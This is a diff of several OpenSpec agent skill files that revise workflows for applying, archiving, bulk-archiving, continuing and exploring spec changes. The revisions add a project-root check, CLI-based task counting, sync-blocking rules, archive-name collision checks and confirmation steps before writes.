**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
**Input**: Optionally specify a change name (e.g., `/openspec-apply-change add-auth`). If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes.
|
||||
|
||||
**Steps**
|
||||
@@ -48,9 +59,12 @@ Implement tasks from an OpenSpec change.
|
||||
- Dynamic instruction based on current state
|
||||
- Optional `context`: current required project instruction input from the selected root
|
||||
- Optional `operationGuidance`: current advisory guidance for apply
|
||||
- `missingArtifacts` (when present): required artifact ids with no output
|
||||
|
||||
**Handle states:**
|
||||
- If `state: "blocked"` (missing artifacts): show message, suggest using `/openspec-continue-change` (if it is not installed, run `openspec status --change "<name>" --json` to see the next artifact and `openspec instructions <artifact-id> --change "<name>" --json` for how to create it)
|
||||
- If `state: "blocked"`: show the message and pause implementation.
|
||||
- If `missingArtifacts` is non-empty: suggest using `/openspec-continue-change` to create them.
|
||||
- Otherwise, follow the CLI instruction to create or repair the schema-configured tracking file from existing planning artifacts. Do not assume another artifact is ready or start implementation while blocked.
|
||||
- If `state: "all_done"`: congratulate, suggest archive
|
||||
- Otherwise: proceed to implementation
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-archive-change
|
||||
description: Archive a completed change in the experimental workflow. Use when the user wants to finalize and archive a change after implementation is complete.
|
||||
description: Archive a completed OpenSpec change in the experimental workflow. Use when the user wants to finalize and archive a change after implementation is complete. Also use when the user says "openspec archive" or "opsx archive".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -13,6 +13,17 @@ Archive a completed change in the experimental workflow.
|
||||
|
||||
**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
`<capability-path>` is the spec directory relative to `specs/` (for example, `user-auth` or `identity/user-auth`). Preserve the full path from each delta spec when resolving its main spec.
|
||||
|
||||
**Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes.
|
||||
@@ -74,16 +85,27 @@ Archive a completed change in the experimental workflow.
|
||||
|
||||
3. **Check task completion status**
|
||||
|
||||
Read the tasks file (typically `tasks.md`) to check for incomplete tasks.
|
||||
Run `openspec list --json` with the same selected-root flags and find the
|
||||
entry in `changes` whose `name` exactly matches the selected change.
|
||||
Require exactly one match and nonnegative integer `totalTasks` and
|
||||
`completedTasks`, with `completedTasks <= totalTasks`. The CLI resolves
|
||||
the schema's tracked task files, including custom artifact names, output
|
||||
paths, and globs.
|
||||
Incomplete tasks = `totalTasks - completedTasks`.
|
||||
|
||||
Count tasks marked with `- [ ]` (incomplete) vs `- [x]` (complete).
|
||||
Do not infer task completion from artifact status or the absence of a
|
||||
top-level `tasks.md`. If the lookup fails, returns invalid JSON, omits or
|
||||
duplicates the selected change, or returns invalid counts, report the problem
|
||||
and stop before syncing or archiving.
|
||||
The CLI counts only `x`/`X` checkbox markers as complete;
|
||||
other markers, including unfamiliar ones, remain incomplete.
|
||||
|
||||
**If incomplete tasks found:**
|
||||
- Display warning showing count of incomplete tasks
|
||||
- Ask the user to confirm they want to proceed
|
||||
- Proceed if user confirms
|
||||
|
||||
**If no tasks file exists:** Proceed without task-related warning.
|
||||
**If `totalTasks` is zero:** Proceed without a task-related warning.
|
||||
|
||||
4. **Assess delta spec sync state**
|
||||
|
||||
@@ -94,17 +116,23 @@ Archive a completed change in the experimental workflow.
|
||||
|
||||
**If delta specs exist:**
|
||||
- Compare each delta spec with its corresponding main spec at `<planningHome.root>/openspec/specs/<capability-path>/spec.md` (use the store-aware `planningHome.root` from step 2, not a hardcoded repo path)
|
||||
- A missing main spec is **not automatically** "already synced". For a new capability, the main spec is an *output* of the sync, not an input:
|
||||
- If the delta has MODIFIED or RENAMED requirements, report that only ADDED requirements can create a new main spec and mark that capability as sync-blocked. Never invent a requirement that has no current version.
|
||||
- Otherwise, if the delta has only REMOVED requirements and the change's `.openspec.yaml` declares `retire_capabilities: true`, the capability is already retired: count it as already synced, warn that there is nothing left to remove, and do not recreate the main spec. Apply this rule both now and when verifying a completed sync.
|
||||
- Otherwise, if the delta has no ADDED requirements, report that no sync is possible and mark that capability as sync-blocked. For a REMOVED-only delta, warn that there is no main spec to remove from and leave the main-spec tree unchanged. `openspec archive` refuses the unmarked REMOVED-only case with `Spec must have at least one requirement`.
|
||||
- Otherwise, count the capability as needing sync and name it in the summary (`<capability-path>: new main spec will be created`). If the delta also has REMOVED requirements, warn that they will be ignored because there is no main spec to remove from. The sync creates the main spec from only the delta's ADDED requirements, exactly as `openspec archive` does.
|
||||
- Determine what changes would be applied (adds, modifications, removals, renames)
|
||||
- Show a combined summary before prompting
|
||||
- Continue assessing the remaining capabilities even when one is sync-blocked. Show a combined summary before prompting.
|
||||
|
||||
**Prompt options:**
|
||||
- If changes needed: "Sync now (recommended)", "Archive without syncing"
|
||||
- If already synced: "Archive now", "Sync anyway", "Cancel"
|
||||
- If any capability is sync-blocked: explain why and offer only "Archive without syncing", "Cancel"
|
||||
- Otherwise, if changes needed: "Sync now (recommended)", "Archive without syncing"
|
||||
- Otherwise, if already synced: "Archive now", "Sync anyway", "Cancel"
|
||||
|
||||
Route on the answer:
|
||||
- "Cancel" — stop, do not archive
|
||||
- "Archive without syncing" or "Archive now" — proceed to archive
|
||||
- "Sync now" or "Sync anyway" — sync, then verify (below)
|
||||
- "Sync now" or "Sync anyway" — sync, then verify (below). Do not start any sync while a capability is sync-blocked; explain the blocker and repeat the available choices.
|
||||
- Anything else — ask again rather than archiving
|
||||
|
||||
Before a selected sync writes any main spec, run
|
||||
@@ -118,7 +146,7 @@ Archive a completed change in the experimental workflow.
|
||||
|
||||
Then run the `openspec-sync-specs` workflow inline (agent-driven intelligent merge) for change '<name>', passing the delta spec analysis and the fetched specs-rule snapshot from above, and wait for it to finish. The inline sync must reuse that snapshot without fetching `specs` instructions again. Do not delegate it to a background task — step 5 would move `changeRoot` out from under a sync that is still reading it, leaving the change archived and the main specs never updated. If your agent can only run it by delegation, delegate synchronously and wait for the result.
|
||||
|
||||
Then re-run the comparison from the top of this step against every capability that has a delta spec in `artifactPaths.specs.existingOutputPaths` — not only the ones the sync reports it touched. A successful sync leaves nothing left to apply, so each capability must now read as already synced:
|
||||
Then re-run the comparison from the top of this step, including the explicitly retired, missing-spec case, against every capability that has a delta spec in `artifactPaths.specs.existingOutputPaths` — not only the ones the sync reports it touched. A successful sync leaves nothing left to apply, so each capability must now read as already synced:
|
||||
- ADDED requirements present
|
||||
- MODIFIED requirements carrying the scenario and description changes named in the delta, with their other scenarios intact
|
||||
- REMOVED requirements gone — and where this sync retired a capability (removed its last requirement, leaving `## Requirements` empty), its main spec deleted rather than left empty; a spec the sync deliberately kept and reported is also a match
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-bulk-archive-change
|
||||
description: Archive multiple completed changes at once. Use when archiving several parallel changes.
|
||||
description: Archive multiple completed OpenSpec changes at once. Use when archiving several parallel changes. Also use for a plural archive request - "openspec bulk-archive", "opsx bulk-archive", "openspec archive all", or "openspec archive these changes".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -15,6 +15,17 @@ This skill allows you to batch-archive changes, handling spec conflicts intellig
|
||||
|
||||
**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
`<capability-path>` is the spec directory relative to `specs/` (for example, `user-auth` or `identity/user-auth`). Preserve the full path from each delta spec when resolving its main spec.
|
||||
|
||||
**Input**: None required (prompts for selection)
|
||||
@@ -30,7 +41,7 @@ This skill allows you to batch-archive changes, handling spec conflicts intellig
|
||||
2. **Prompt for change selection**
|
||||
|
||||
Ask the user to choose changes (multi-select):
|
||||
- Show each change with its schema
|
||||
- Show each change name and task status from the list output
|
||||
- Include an option for "All changes"
|
||||
- Allow any number of selections (1+ works, 2+ is the typical use case)
|
||||
|
||||
@@ -63,15 +74,24 @@ This skill allows you to batch-archive changes, handling spec conflicts intellig
|
||||
|
||||
3. **Batch validation - gather status for all selected changes**
|
||||
|
||||
Run `openspec list --json` once with the same selected-root flags for task
|
||||
progress. If the lookup fails, returns invalid JSON, or omits any selected
|
||||
change, contains a duplicate selected change, or returns invalid counts,
|
||||
report the problem and stop before syncing or archiving the batch.
|
||||
|
||||
For each selected change, collect:
|
||||
|
||||
a. **Artifact status** - Run `openspec status --change "<name>" --json`
|
||||
- Parse `schemaName`, `artifacts`, `planningHome`, `changeRoot`, `artifactPaths`, and `actionContext`
|
||||
- Note which artifacts are `done` vs other states
|
||||
|
||||
b. **Task completion** - Read `artifactPaths.tasks.existingOutputPaths` from status JSON
|
||||
- Count `- [ ]` (incomplete) vs `- [x]` (complete)
|
||||
- If no tasks file exists, note as "No tasks"
|
||||
b. **Task completion** - Find the `changes` entry from the list response whose `name` exactly matches this change
|
||||
- Require nonnegative integer `totalTasks` and `completedTasks`, with `completedTasks <= totalTasks`
|
||||
- Incomplete tasks = `totalTasks - completedTasks`
|
||||
- The CLI resolves the schema's tracked task files, including custom artifact names, output paths, and globs
|
||||
- Do not infer task completion from artifact status, an artifact id of `tasks`, or the absence of a top-level `tasks.md`
|
||||
- The CLI counts only `x`/`X` checkbox markers as complete; other markers remain incomplete
|
||||
- If `totalTasks` is zero, note as "No tasks"
|
||||
|
||||
c. **Delta specs** - Check `artifactPaths.specs.existingOutputPaths` from status JSON
|
||||
- List which capability specs exist
|
||||
@@ -81,6 +101,14 @@ This skill allows you to batch-archive changes, handling spec conflicts intellig
|
||||
lookup for that change; do not infer deltas from unrelated artifacts.
|
||||
- Evaluate this independently for every change, including mixed-schema
|
||||
batches where some schemas have no `specs` artifact.
|
||||
|
||||
d. **Archive target** - Compute each change's target name once and record it as that change's `<target-name>`
|
||||
- Use the change name as-is when it already starts with a `YYYY-MM-DD-` prefix; otherwise prepend the current date as `YYYY-MM-DD-<name>` (same rule as `openspec archive`)
|
||||
- Check whether `<planningHome.changesDir>/archive/<target-name>` already exists
|
||||
- If it exists, or another selected change resolves to the same target name, mark every such change `Blocked` with `Archive directory already exists`
|
||||
- A blocked change is never synced or moved: show it as `Blocked` in the step 6 table, leave it out of conflict resolution (resolve its conflicts using only the other changes), and record it as Failed in step 8d
|
||||
- Checking here, before any main spec is written, matches `openspec archive`: a collision found after sync would leave main specs rewritten for an archive that never happened
|
||||
|
||||
4. **Detect spec conflicts**
|
||||
|
||||
Build a map keyed by `<capability-path>`, the exact path relative to `specs/`:
|
||||
@@ -153,8 +181,8 @@ This skill allows you to batch-archive changes, handling spec conflicts intellig
|
||||
Route on the answer by intent, not by exact label — you wrote these labels,
|
||||
so match what the user picked rather than the wording above:
|
||||
- "Cancel" — stop, do not archive. Report that nothing was archived and skip the remaining steps.
|
||||
- The archive-everything option — proceed with every selected change
|
||||
- The ready-only option — proceed with only the changes the step 6 table marks `Ready` or `Ready*`, and record the rest as Skipped in step 8d. If a `Ready*` change's conflict partner is skipped, re-derive that conflict's resolution using only the changes being archived.
|
||||
- The archive-everything option — proceed with every selected change that is not `Blocked`
|
||||
- The ready-only option — proceed with only the changes the step 6 table marks `Ready` or `Ready*`, and record the rest as Skipped in step 8d, except `Blocked` changes, which stay Failed with `Archive directory already exists`. If a `Ready*` change's conflict partner is skipped, re-derive that conflict's resolution using only the changes being archived.
|
||||
- Anything else — ask again rather than archiving
|
||||
|
||||
Before step 8 writes the first main spec or moves any change, fetch every
|
||||
@@ -199,13 +227,20 @@ This skill allows you to batch-archive changes, handling spec conflicts intellig
|
||||
|
||||
c. **Perform the archive**:
|
||||
|
||||
Target name: use the change name as-is when it already starts with a `YYYY-MM-DD-` prefix; otherwise prepend the current date as `YYYY-MM-DD-<name>` (same rule as `openspec archive`).
|
||||
Target name: use the `<target-name>` recorded for this change in step 3d, unchanged. Never recompute it here: a batch that runs past midnight would check one date in step 3 and move to another.
|
||||
|
||||
**Check if target already exists:**
|
||||
- Check again immediately before the move, even though step 3 already checked: the target can appear mid-batch
|
||||
- If yes: record this change as Failed with `Archive directory already exists`, leave `changeRoot` where it is, report any main specs step 8a already synced for it, and continue with the remaining changes
|
||||
- If no: move `changeRoot` to the archive directory
|
||||
|
||||
```bash
|
||||
mkdir -p "<planningHome.changesDir>/archive"
|
||||
mv "<changeRoot>" "<planningHome.changesDir>/archive/<target-name>"
|
||||
```
|
||||
|
||||
**Confirm the move did not nest:** `mv` exits 0 even when the target appeared after the check, moving the change *inside* it. If `<planningHome.changesDir>/archive/<target-name>/<change-directory-name>` now exists (the last path segment of `changeRoot`), move that directory back to `changeRoot` and record this change as Failed with `Archive directory already exists`. Never report it as archived.
|
||||
|
||||
d. **Track outcome** for each change:
|
||||
- Success: archived successfully
|
||||
- Failed: error during archive or spec verification (record error)
|
||||
@@ -320,8 +355,9 @@ No active changes found. Create a new change to get started.
|
||||
- Never archive after the user cancels the confirmation — a cancelled batch archives nothing
|
||||
- Track and report all outcomes (success/skip/fail)
|
||||
- Preserve .openspec.yaml when moving to archive
|
||||
- Archive directory target uses current date: YYYY-MM-DD-<name>; a name that already starts with a `YYYY-MM-DD-` prefix is used as-is (never stack a second date)
|
||||
- Archive directory target uses the current date, computed once in step 3d and reused at the move: YYYY-MM-DD-<name>; a name that already starts with a `YYYY-MM-DD-` prefix is used as-is (never stack a second date)
|
||||
- If archive target exists, fail that change but continue with others
|
||||
- Check every archive target in step 3, before the first main-spec write; a change whose target exists is never synced or moved
|
||||
- If sync is requested, run the `openspec-sync-specs` workflow inline (agent-driven) for each change with included delta specs
|
||||
- Carry the per-delta `includedDeltas` and `excludedDeltas` decisions into execution; sync and verify only included deltas
|
||||
- Report every excluded delta as `sync skipped` without treating the archive itself as skipped
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-continue-change
|
||||
description: Continue working on an OpenSpec change by creating the next artifact. Use when the user wants to progress their change, create the next artifact, or continue their workflow.
|
||||
description: Continue working on an OpenSpec change by creating the next artifact. Use when the user wants to progress their change, create the next artifact, or continue their workflow. Also use when the user says "openspec continue" or "opsx continue".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -13,6 +13,17 @@ Continue working on a change by creating the next artifact.
|
||||
|
||||
**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
**Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes.
|
||||
|
||||
**Steps**
|
||||
@@ -26,7 +37,6 @@ Continue working on a change by creating the next artifact.
|
||||
|
||||
When prompting, present the top 3-4 most recently modified changes as options, showing:
|
||||
- Change name
|
||||
- Schema (from `schema` field if present, otherwise "spec-driven")
|
||||
- Status (e.g., "0/5 tasks", "complete", "no tasks")
|
||||
- How recently it was modified (from `lastModified` field)
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-explore
|
||||
description: Enter explore mode - a thinking partner for exploring ideas, investigating problems, and clarifying requirements. Use when the user wants to think through something before or during a change.
|
||||
description: Enter OpenSpec explore mode - a thinking partner for exploring ideas, investigating problems, and clarifying requirements in a project that uses OpenSpec. Use when the user wants to think through something before or during an OpenSpec change. Also use when the user says "openspec explore" or "opsx explore".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -11,12 +11,23 @@ metadata:
|
||||
|
||||
Enter explore mode. Think deeply. Visualize freely. Follow the conversation wherever it goes.
|
||||
|
||||
**IMPORTANT: Explore mode is for thinking, not implementing.** You may read files, search code, investigate the codebase, and run read-only commands or tools without confirmation, but you must NEVER write code or implement features. If the user asks you to implement something, remind them to exit explore mode first and create a change proposal. You MAY create or update OpenSpec change artifacts (proposals, designs, specs) within a confirmed scope—that's capturing thinking, not implementing. Answering design or clarifying questions is never consent to write. Before the first write-capable action, name the artifacts or files you would change and what you would do, ask a direct yes/no question, and wait for the user's confirmation in a separate message. Confirmation covers only the scope you described; ask again before expanding it. For a new change, scaffold it first as described below.
|
||||
**IMPORTANT: Explore mode is for thinking, not implementing.** You may read files, search code, investigate the codebase, and run read-only commands or tools without confirmation, but you must NEVER write code or implement features. If the user asks you to implement something, do not start it here: say that explore mode does not implement, and point them at `/openspec-propose`, which turns the discussion into a change. The work happens from that change, never from explore mode. You MAY create or update OpenSpec change artifacts (proposals, designs, specs) within a confirmed scope—that's capturing thinking, not implementing. Answering design or clarifying questions is never consent to write. Before the first write-capable action, name the artifacts or files you would change and what you would do, ask a direct yes/no question, and wait for the user's confirmation in a separate message. Confirmation covers only the scope you described; ask again before expanding it. An explicit request from the user to capture the exploration as a new change is itself that confirmation, covering the change and the change artifacts the request names; scaffold it first as described below.
|
||||
|
||||
**This is a stance, not a workflow.** There are no fixed steps, no required sequence, no mandatory outputs. You're a thinking partner helping the user explore.
|
||||
|
||||
**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
---
|
||||
|
||||
## The Stance
|
||||
@@ -117,7 +128,7 @@ openspec list --json
|
||||
|
||||
This tells you:
|
||||
- If there are active changes
|
||||
- Their names, schemas, and status
|
||||
- Their names and task status
|
||||
- What the user might be working on
|
||||
|
||||
That is the *change* list - work in flight. It does not include the project's durable capabilities, so list those too:
|
||||
@@ -141,14 +152,14 @@ Think freely. When insights crystallize, you might offer:
|
||||
- "This feels solid enough to start a change. Want me to create a proposal?"
|
||||
- Or keep exploring - no pressure to formalize
|
||||
|
||||
If the user asks you to capture the exploration as a new change, transition seamlessly into the requested capture:
|
||||
If the user asks you to capture the exploration as a new change, that request is the confirmation required above. It covers scaffolding that change and creating the change artifacts the request names, and nothing else. This holds only when the request is theirs: a yes to an offer you made confirms only the scope your offer itself named, so name the change and the artifacts in the offer. Don't re-ask for what they already asked for; do ask before anything beyond it. Transition seamlessly into the requested capture:
|
||||
|
||||
1. Run `openspec new change "<name>"` (with `--store <id>` when applicable) before creating any artifacts. Never create a new change directory under `openspec/changes/` by hand; the CLI scaffold creates required metadata such as `.openspec.yaml`. Keep the selected `--store <id>` on every applicable follow-up `status` and `instructions` command.
|
||||
2. Run `openspec status --change "<name>" --json` (append the confirmed `--store "<id>"` only for a registered standalone store), then process the requested artifacts in dependency order. For each requested artifact that is `ready`, run `openspec instructions "<artifact-id>" --change "<name>" --json` (append the confirmed `--store "<id>"` only for a registered standalone store). Before creating a requested artifact, evaluate any condition in its own `instruction` against the explored change; record a deliberate skip instead when the condition does not apply. If a requested artifact is blocked by a direct prerequisite the user did not request, run `openspec instructions "<prerequisite-id>" --change "<name>" --json` (append the confirmed `--store "<id>"` only for a registered standalone store) for that prerequisite whether it is `ready` or `blocked`. If its own `instruction` states a condition, evaluate that condition against the explored change and record a deliberate skip only when the condition does not apply. If the condition applies, or the prerequisite is not conditional, treat it as a normal prerequisite and ask before expanding the capture. Do not create an unrequested prerequisite unless the user approves.
|
||||
3. Follow the returned `template` and `instruction` fields. Read completed dependency files listed in `dependencies`, and apply `context` and `rules` as constraints without copying them into the artifact. If the instruction delegates creation to a specific skill or command, invoke it; otherwise write the artifact to `resolvedOutputPath`, using the instruction to choose a concrete path when it is a glob. Verify that the selected concrete output exists.
|
||||
4. After creating each artifact, re-run `openspec status --change "<name>" --json` (append the confirmed `--store "<id>"` only for a registered standalone store) and continue until every requested artifact is `done`, `skipped`, or was deliberately skipped because its own `instruction` stated a condition that did not apply. Tell the user about a deliberate conditional skip, remember it, and do not reconsider it. Dependencies are enablers, not gates: if a requested artifact is still `blocked` only because you deliberately skipped a conditional prerequisite, run `openspec instructions "<artifact-id>" --change "<name>" --json` (append the confirmed `--store "<id>"` only for a registered standalone store) despite the blocked status, then create it using step 3 only when those recorded conditional skips are its sole missing dependencies. If a requested artifact is blocked by a prerequisite the user did not ask to capture and cannot be conditionally skipped, explain that dependency and ask before expanding the capture.
|
||||
|
||||
Capture the artifact(s) the user requested without asking them to invoke another workflow command. If they asked only to start a change, stop after scaffolding and show its status.
|
